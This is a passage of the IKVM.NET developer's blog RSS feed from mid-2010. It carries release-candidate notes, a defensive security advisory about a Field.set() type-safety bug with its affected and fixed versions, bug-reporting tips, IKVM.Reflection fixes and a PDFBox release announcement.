      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</link>
      <pubDate>Tue, 27 Jul 2010 06:59:53 GMT</pubDate>
      <description>&lt;p&gt;
   A new release candidate with two bug fixes.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed version to 0.44.0.2&lt;/li&gt;
   &lt;li&gt;
      Fixed Field.set() bug #&lt;a href="https://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=3033769&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;3033769&lt;/a&gt;.&lt;/li&gt;
   &lt;li&gt;
      When a protected or public member is accessed in a non-public base class in another
      assembly that is simultaneously compiled, we need to add an InternalsVisibleTo to
      the callee assembly for the caller assembly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binary available here: &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.2.zip"&gt;ikvmbin-0.44.0.2.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-0.44.0.2.zip"&gt;ikvmsrc-0.44.0.2.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b18-stripped.zip"&gt;openjdk6-b18-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The sources zip no longer contains any binaries.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=9c01c64e-7498-4845-86e5-0b130d680724</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=9c01c64e-7498-4845-86e5-0b130d680724</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=9c01c64e-7498-4845-86e5-0b130d680724</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=9c01c64e-7498-4845-86e5-0b130d680724</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
          <strong>Potential Security Vulnerability</strong>
        </p>
        <p>
      There is a bug IKVM's implementation of <a href="http://java.sun.com/javase/6/docs/api/java/lang/reflect/Field.html#set(java.lang.Object, java.lang.Object)">java.lang.reflect.Field.set()</a>.
      The dynamic method that is generated doesn't properly cast the value to the type of
      the field. This is obviously a bug, but it could also lead to a type safety vulnerability.
      It is not directly exploitable, because the unverifiable dynamic method will do a
      full trust security demand and when there is partially trusted code on the stack,
      that will fail.
   </p>
        <p>
      However, if you have any code that indirectly exposes Field.set() to untrusted code,
      it may be exploitable. In particular, the following scenarios warrant careful attention:
   </p>
        <ul>
          <li>
         Having an assembly in the GAC that has the AllowPartiallyTrustedCallerAttribute and
         exposes Field.set() functionality to partially trusted callers and uses a security
         assert to stop the stack walk.</li>
          <li>
         If you load partially trusted code in your application and your code uses Field.set()
         on values controlled by the partially trusted code, without any partially trusted
         code being directly on the stack.</li>
          <li>
         If you process data or a (lightweight) scripting language that somehow exposes Field.set()
         functionality to untrusted data/code.</li>
        </ul>
        <p>
          <strong>Affected Versions</strong>
        </p>
        <p>
      IKVM.NET version 0.38, 0.40, 0.42 and 0.44 are affected. Version 0.36 and earlier
      are not affected.
   </p>
        <p>
          <strong>Update</strong>
        </p>
        <p>
      There is an update of IKVM.NET 0.42, earlier versions will not be updated and there
      will be a new 0.44 release candidate later today.
   </p>
        <p>
          <strong>IKVM.NET 0.42 Update 2</strong>
        </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Updated version to 0.42.0.7.</li>
          <li>
         Fixed Field.set() bug #<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=3033769&amp;group_id=69637&amp;atid=525264">3033769</a>.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.42.0.7.zip">ikvmbin-0.42.0.7.zip</a><br /><br />
      Sources: <a href="http://www.frijters.net/ikvm-0.42.0.7.zip">ikvm-0.42.0.7.zip</a>, <a href="http://www.frijters.net/openjdk6-b16-stripped.zip">openjdk6-b16-stripped.zip</a></p>
        <p>
          <strong>Credits</strong>
        </p>
        <p>
      Thanks to Dawid Weiss for reporting this issue.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=9c01c64e-7498-4845-86e5-0b130d680724" />
      </body>
      <title>IKVM.NET Security Update</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=9c01c64e-7498-4845-86e5-0b130d680724</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=9c01c64e-7498-4845-86e5-0b130d680724</link>
      <pubDate>Tue, 27 Jul 2010 06:57:38 GMT</pubDate>
      <description>&lt;p&gt;
   &lt;strong&gt;Potential Security Vulnerability&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   There is a bug IKVM's implementation of &lt;a href="http://java.sun.com/javase/6/docs/api/java/lang/reflect/Field.html#set(java.lang.Object, java.lang.Object)"&gt;java.lang.reflect.Field.set()&lt;/a&gt;.
   The dynamic method that is generated doesn't properly cast the value to the type of
   the field. This is obviously a bug, but it could also lead to a type safety vulnerability.
   It is not directly exploitable, because the unverifiable dynamic method will do a
   full trust security demand and when there is partially trusted code on the stack,
   that will fail.
&lt;/p&gt;
&lt;p&gt;
   However, if you have any code that indirectly exposes Field.set() to untrusted code,
   it may be exploitable. In particular, the following scenarios warrant careful attention:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Having an assembly in the GAC that has the AllowPartiallyTrustedCallerAttribute and
      exposes Field.set() functionality to partially trusted callers and uses a security
      assert to stop the stack walk.&lt;/li&gt;
   &lt;li&gt;
      If you load partially trusted code in your application and your code uses Field.set()
      on values controlled by the partially trusted code, without any partially trusted
      code being directly on the stack.&lt;/li&gt;
   &lt;li&gt;
      If you process data or a (lightweight) scripting language that somehow exposes Field.set()
      functionality to untrusted data/code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   &lt;strong&gt;Affected Versions&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   IKVM.NET version 0.38, 0.40, 0.42 and 0.44 are affected. Version 0.36 and earlier
   are not affected.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Update&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   There is an update of IKVM.NET 0.42, earlier versions will not be updated and there
   will be a new 0.44 release candidate later today.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;IKVM.NET 0.42 Update 2&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Updated version to 0.42.0.7.&lt;/li&gt;
   &lt;li&gt;
      Fixed Field.set() bug #&lt;a href="https://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=3033769&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;3033769&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.42.0.7.zip"&gt;ikvmbin-0.42.0.7.zip&lt;/a&gt;
   &lt;br&gt;
   &lt;br&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvm-0.42.0.7.zip"&gt;ikvm-0.42.0.7.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b16-stripped.zip"&gt;openjdk6-b16-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Credits&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   Thanks to Dawid Weiss for reporting this issue.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=9c01c64e-7498-4845-86e5-0b130d680724"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=9c01c64e-7498-4845-86e5-0b130d680724</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      A new release candidate with two bug fixes.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Changed version to 0.44.0.1</li>
          <li>
         Fixed verifier regression introduced with try/fault handler changes. Thanks to Enrico
         Minack for reporting this.</li>
          <li>
         When a protected field is accessed in a non-public base class in another assembly
         that is simultaneously compiled, we need to add an InternalsVisibleTo to the callee
         assembly for the caller assembly.</li>
        </ul>
        <p>
      Binary available here: <a href="http://www.frijters.net/ikvmbin-0.44.0.1.zip">ikvmbin-0.44.0.1.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-0.44.0.1.zip">ikvmsrc-0.44.0.1.zip</a>, <a href="http://www.frijters.net/openjdk6-b18-stripped.zip">openjdk6-b18-stripped.zip</a></p>
        <p>
      The sources zip no longer contains any binaries.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=e8b18eca-7757-488f-b7ba-1568d7b22602" />
      </body>
      <title>IKVM.NET 0.44 Release Candidate 1</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</link>
      <pubDate>Mon, 12 Jul 2010 07:09:49 GMT</pubDate>
      <description>&lt;p&gt;
   A new release candidate with two bug fixes.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed version to 0.44.0.1&lt;/li&gt;
   &lt;li&gt;
      Fixed verifier regression introduced with try/fault handler changes. Thanks to Enrico
      Minack for reporting this.&lt;/li&gt;
   &lt;li&gt;
      When a protected field is accessed in a non-public base class in another assembly
      that is simultaneously compiled, we need to add an InternalsVisibleTo to the callee
      assembly for the caller assembly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binary available here: &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.1.zip"&gt;ikvmbin-0.44.0.1.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-0.44.0.1.zip"&gt;ikvmsrc-0.44.0.1.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b18-stripped.zip"&gt;openjdk6-b18-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The sources zip no longer contains any binaries.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=e8b18eca-7757-488f-b7ba-1568d7b22602"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=e8b18eca-7757-488f-b7ba-1568d7b22602</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      The first 0.44 release candidate is available.
   </p>
        <p>
      What's New (relative to IKVM.NET 0.42):
   </p>
        <ul>
          <li>
         Integrated OpenJDK 6 build 18</li>
          <li>
         Bug fixes</li>
          <li>
         Code cleanup</li>
          <li>
         Many AWT improvements (by Nat and Volker)</li>
          <li>
         IKVM.Reflection</li>
          <li>
         Ability to build from source targetting .NET 4.0</li>
          <li>
         Reflection optimizations</li>
          <li>
         Codegen optimizations</li>
          <li>
         JNI optimizations</li>
          <li>
         Introduced IKVM.OpenJDK.Tools.dll</li>
          <li>
         Improved build process (removed dependency on shipping stub jar binaries)</li>
          <li>
         Improved ikvmc parameter validation and error handling</li>
          <li>
         Annotated all security critical code with .NET 4.0 security model custom attributes</li>
          <li>
         Added -nostdlib option to ikvmstub and ikvmc to allow them to work with .NET 4.0 assemblies
         (while running on .NET 2.0)</li>
          <li>
         Implemented RuntimeMXBean and OperatingSystemMXBean</li>
          <li>
         Experimental (when built from source, targetting .NET 4.0) support for class GC</li>
        </ul>
        <p>
      Binary available here: <a href="http://www.frijters.net/ikvmbin-0.44.0.0.zip">ikvmbin-0.44.0.0.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-0.44.0.0.zip">ikvmsrc-0.44.0.0.zip</a>, <a href="http://www.frijters.net/openjdk6-b18-stripped.zip">openjdk6-b18-stripped.zip</a></p>
        <p>
      The sources zip no longer contains any binaries.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=6f3a513b-cba7-497e-be25-82ba96e13f40" />
      </body>
      <title>IKVM.NET 0.44 Release Candidate 0</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</link>
      <pubDate>Wed, 07 Jul 2010 13:54:40 GMT</pubDate>
      <description>&lt;p&gt;
   The first 0.44 release candidate is available.
&lt;/p&gt;
&lt;p&gt;
   What's New (relative to IKVM.NET 0.42):
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Integrated OpenJDK 6 build 18&lt;/li&gt;
   &lt;li&gt;
      Bug fixes&lt;/li&gt;
   &lt;li&gt;
      Code cleanup&lt;/li&gt;
   &lt;li&gt;
      Many AWT improvements (by Nat and Volker)&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection&lt;/li&gt;
   &lt;li&gt;
      Ability to build from source targetting .NET 4.0&lt;/li&gt;
   &lt;li&gt;
      Reflection optimizations&lt;/li&gt;
   &lt;li&gt;
      Codegen optimizations&lt;/li&gt;
   &lt;li&gt;
      JNI optimizations&lt;/li&gt;
   &lt;li&gt;
      Introduced IKVM.OpenJDK.Tools.dll&lt;/li&gt;
   &lt;li&gt;
      Improved build process (removed dependency on shipping stub jar binaries)&lt;/li&gt;
   &lt;li&gt;
      Improved ikvmc parameter validation and error handling&lt;/li&gt;
   &lt;li&gt;
      Annotated all security critical code with .NET 4.0 security model custom attributes&lt;/li&gt;
   &lt;li&gt;
      Added -nostdlib option to ikvmstub and ikvmc to allow them to work with .NET 4.0 assemblies
      (while running on .NET 2.0)&lt;/li&gt;
   &lt;li&gt;
      Implemented RuntimeMXBean and OperatingSystemMXBean&lt;/li&gt;
   &lt;li&gt;
      Experimental (when built from source, targetting .NET 4.0) support for class GC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binary available here: &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.0.zip"&gt;ikvmbin-0.44.0.0.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-0.44.0.0.zip"&gt;ikvmsrc-0.44.0.0.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b18-stripped.zip"&gt;openjdk6-b18-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The sources zip no longer contains any binaries.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=6f3a513b-cba7-497e-be25-82ba96e13f40"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=6f3a513b-cba7-497e-be25-82ba96e13f40</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=2432a798-075f-46fc-8f94-631e46e10eef</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=2432a798-075f-46fc-8f94-631e46e10eef</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=2432a798-075f-46fc-8f94-631e46e10eef</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=2432a798-075f-46fc-8f94-631e46e10eef</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I've disabled the ability for anonymous users to post bug reports (and feature requests).
      Two useless duplicate reports (<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=525264&amp;aid=3026137&amp;group_id=69637">3026137</a> and <a href="https://sourceforge.net/tracker/?func=detail&amp;atid=525264&amp;aid=3026140&amp;group_id=69637">3026140</a>)
      pushed me over the edge.
   </p>
        <p>
      Some bug reporting tips:
   </p>
        <ul>
          <li>
         Include all the (possibly) relevant information (IKVM.NET, .NET / Mono and Operating
         System version numbers, CPU architecture, error messages, warning messages).</li>
          <li>
         Try to create a small repro that demonstrates the problem. Make sure it compiles,
         don't just include a non-compiling code snippet.</li>
          <li>
         Clearly separate fact from speculation.</li>
          <li>
         Read this excellent essay on <a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html">How
         to Report Bugs Effectively</a> by Simon Tatham.</li>
        </ul>
        <p>
      P.S.  In the case of the above bug report, the poster tried to look at the code
      for ServerSocket.accept() with Reflector and Reflector crashed. <strong>This is a
      Reflector bug</strong>, it simply doesn't understand the code constructs that ikvmc
      generates (<strong>even though they are perfectly valid</strong>).
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=2432a798-075f-46fc-8f94-631e46e10eef" />
      </body>
      <title>Bug Reports</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=2432a798-075f-46fc-8f94-631e46e10eef</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=2432a798-075f-46fc-8f94-631e46e10eef</link>
      <pubDate>Wed, 07 Jul 2010 12:11:51 GMT</pubDate>
      <description>&lt;p&gt;
   I've disabled the ability for anonymous users to post bug reports (and feature requests).
   Two useless duplicate reports (&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;atid=525264&amp;amp;aid=3026137&amp;amp;group_id=69637"&gt;3026137&lt;/a&gt; and &lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;atid=525264&amp;amp;aid=3026140&amp;amp;group_id=69637"&gt;3026140&lt;/a&gt;)
   pushed me over the edge.
&lt;/p&gt;
&lt;p&gt;
   Some bug reporting tips:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Include all the (possibly) relevant information (IKVM.NET, .NET / Mono and Operating
      System version numbers, CPU architecture, error messages, warning messages).&lt;/li&gt;
   &lt;li&gt;
      Try to create a small repro that demonstrates the problem. Make sure it compiles,
      don't just include a non-compiling code snippet.&lt;/li&gt;
   &lt;li&gt;
      Clearly separate fact from speculation.&lt;/li&gt;
   &lt;li&gt;
      Read this excellent essay on &lt;a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html"&gt;How
      to Report Bugs Effectively&lt;/a&gt; by Simon Tatham.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   P.S.&amp;nbsp; In the case of the above bug report, the poster tried to look at the code
   for ServerSocket.accept() with Reflector and Reflector crashed. &lt;strong&gt;This is a
   Reflector bug&lt;/strong&gt;, it simply doesn't understand the code constructs that ikvmc
   generates (&lt;strong&gt;even though they are perfectly valid&lt;/strong&gt;).
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=2432a798-075f-46fc-8f94-631e46e10eef"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=2432a798-075f-46fc-8f94-631e46e10eef</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=96fac07c-59ac-4090-b86e-38514d6a349a</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=96fac07c-59ac-4090-b86e-38514d6a349a</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=96fac07c-59ac-4090-b86e-38514d6a349a</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=96fac07c-59ac-4090-b86e-38514d6a349a</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I decided to do some brute force testing of IKVM.Reflection. I ran my <a href="http://www.frijters.net/LinkerPrototype.zip">LinkerPrototype</a> on
      almost all assemblies in the .NET and Mono GACs. This resulted in a number of fixes
      to the linker (but note that it's still just a toy) and a bunch of fixes to IKVM.Reflection.
      Most of these fixes aren't relevant for IKVM.NET, but I want IKVM.Reflection to be
      useful as a general System.Reflection replacement.
   </p>
        <p>
      Fixes:
   </p>
        <ul>
          <li>
         MethodInfo.DeclaringType should return null for global generic method instances.</li>
          <li>
         Fixed support for TypeSpec in custom modifiers.</li>
          <li>
         Fixed bug that caused duplicate MethodSpec rows to be emitted.</li>
          <li>
         Fixed bug that caused duplicate MemberRef rows to be emitted.</li>
          <li>
         Allow use of generic method definition in IL stream.</li>
          <li>
         Made signature binding lazy for GenericMethodInstance.</li>
          <li>
         Allow declarative security attributes to use non-public constructors.</li>
          <li>
         Implemented ManifestResourceInfo.FileName property.</li>
          <li>
         Implemented workaround for incorrect exception table length in methods generated by
         VB compiler.</li>
          <li>
         Fixed exception filter block handling to support having both regular handlers and
         a filter for the same try block.</li>
          <li>
         Fixed metadata header to account for the actual ImageRuntimeVersion string length,
         instead of assuming it to be "v2.0.50727".</li>
          <li>
         Implemented __GetDeclaredMethods() for ArrayType and MultiArrayType.</li>
          <li>
         Fixed two MarshalSpec blob parsing bugs.</li>
          <li>
         Fixed several places where generic type definitions would be encoded as TypeDef token
         instead of TypeSpec.</li>
          <li>
         Re-instroduced generic type instantation for "identity" instantations of TypeBuilder
         types.</li>
          <li>
         Several fixes for C++/CLI that tends to stick custom modifiers everywhere. Also, support
         void&amp; in local variable signature.</li>
          <li>
         Support fields that have an RVA, but where it is set to zero (C++/CLI does this).</li>
          <li>
         Added support for a TypeRef with a null ResolutionScope.</li>
        </ul>
        <p>
      The source is available in cvs and the LinkerPrototype zip link above contains the
      most recent IKVM.Reflection.dll, but if you want just the IKVM.Reflection.dll binary,
      it is available here: <a href="http://www.frijters.net/ikvm-reflect-0.43.3833.zip">ikvm-reflect-0.43.3833.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=96fac07c-59ac-4090-b86e-38514d6a349a" />
      </body>
      <title>IKVM.Reflection Testing</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=96fac07c-59ac-4090-b86e-38514d6a349a</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=96fac07c-59ac-4090-b86e-38514d6a349a</link>
      <pubDate>Wed, 30 Jun 2010 08:47:31 GMT</pubDate>
      <description>&lt;p&gt;
   I decided to do some brute force testing of IKVM.Reflection. I ran my &lt;a href="http://www.frijters.net/LinkerPrototype.zip"&gt;LinkerPrototype&lt;/a&gt; on
   almost all assemblies in the .NET and Mono GACs. This resulted in a number of fixes
   to the linker (but note that it's still just a toy) and a bunch of fixes to IKVM.Reflection.
   Most of these fixes aren't relevant for IKVM.NET, but I want IKVM.Reflection to be
   useful as a general System.Reflection replacement.
&lt;/p&gt;
&lt;p&gt;
   Fixes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      MethodInfo.DeclaringType should return null for global generic method instances.&lt;/li&gt;
   &lt;li&gt;
      Fixed support for TypeSpec in custom modifiers.&lt;/li&gt;
   &lt;li&gt;
      Fixed bug that caused duplicate MethodSpec rows to be emitted.&lt;/li&gt;
   &lt;li&gt;
      Fixed bug that caused duplicate MemberRef rows to be emitted.&lt;/li&gt;
   &lt;li&gt;
      Allow use of generic method definition in IL stream.&lt;/li&gt;
   &lt;li&gt;
      Made signature binding lazy for GenericMethodInstance.&lt;/li&gt;
   &lt;li&gt;
      Allow declarative security attributes to use non-public constructors.&lt;/li&gt;
   &lt;li&gt;
      Implemented ManifestResourceInfo.FileName property.&lt;/li&gt;
   &lt;li&gt;
      Implemented workaround for incorrect exception table length in methods generated by
      VB compiler.&lt;/li&gt;
   &lt;li&gt;
      Fixed exception filter block handling to support having both regular handlers and
      a filter for the same try block.&lt;/li&gt;
   &lt;li&gt;
      Fixed metadata header to account for the actual ImageRuntimeVersion string length,
      instead of assuming it to be "v2.0.50727".&lt;/li&gt;
   &lt;li&gt;
      Implemented __GetDeclaredMethods() for ArrayType and MultiArrayType.&lt;/li&gt;
   &lt;li&gt;
      Fixed two MarshalSpec blob parsing bugs.&lt;/li&gt;
   &lt;li&gt;
      Fixed several places where generic type definitions would be encoded as TypeDef token
      instead of TypeSpec.&lt;/li&gt;
   &lt;li&gt;
      Re-instroduced generic type instantation for "identity" instantations of TypeBuilder
      types.&lt;/li&gt;
   &lt;li&gt;
      Several fixes for C++/CLI that tends to stick custom modifiers everywhere. Also, support
      void&amp;amp; in local variable signature.&lt;/li&gt;
   &lt;li&gt;
      Support fields that have an RVA, but where it is set to zero (C++/CLI does this).&lt;/li&gt;
   &lt;li&gt;
      Added support for a TypeRef with a null ResolutionScope.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   The source is available in cvs and the LinkerPrototype zip link above contains the
   most recent IKVM.Reflection.dll, but if you want just the IKVM.Reflection.dll binary,
   it is available here: &lt;a href="http://www.frijters.net/ikvm-reflect-0.43.3833.zip"&gt;ikvm-reflect-0.43.3833.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=96fac07c-59ac-4090-b86e-38514d6a349a"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=96fac07c-59ac-4090-b86e-38514d6a349a</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Yesterday the release of <a href="http://pdfbox.apache.org/">Apache PDFBox</a> 1.2.0
      was <a href="http://markmail.org/message/tyq7qztsaffho7rt">announced</a>. Thanks to <a href="https://issues.apache.org/jira/browse/PDFBOX-675">Daniel
      Wilson</a> the included Ant <a href="http://pdfbox.apache.org/userguide/dot_net.html">build
      script</a> to build the .NET version has been updated to work with IKVM.NET 0.42.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=bcd3758c-9998-43ce-bfb0-b088a73e1765" />
      </body>
      <title>Apache PDFBox 1.2.0 Released</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</link>
      <pubDate>Wed, 30 Jun 2010 06:50:07 GMT</pubDate>
      <description>&lt;p&gt;
   Yesterday the release of &lt;a href="http://pdfbox.apache.org/"&gt;Apache PDFBox&lt;/a&gt; 1.2.0
   was &lt;a href="http://markmail.org/message/tyq7qztsaffho7rt"&gt;announced&lt;/a&gt;. Thanks to &lt;a href="https://issues.apache.org/jira/browse/PDFBOX-675"&gt;Daniel
   Wilson&lt;/a&gt; the included Ant &lt;a href="http://pdfbox.apache.org/userguide/dot_net.html"&gt;build
   script&lt;/a&gt; to build the .NET version has been updated to work with IKVM.NET 0.42.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=bcd3758c-9998-43ce-bfb0-b088a73e1765"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=bcd3758c-9998-43ce-bfb0-b088a73e1765</comments>
    </item>
    <item>
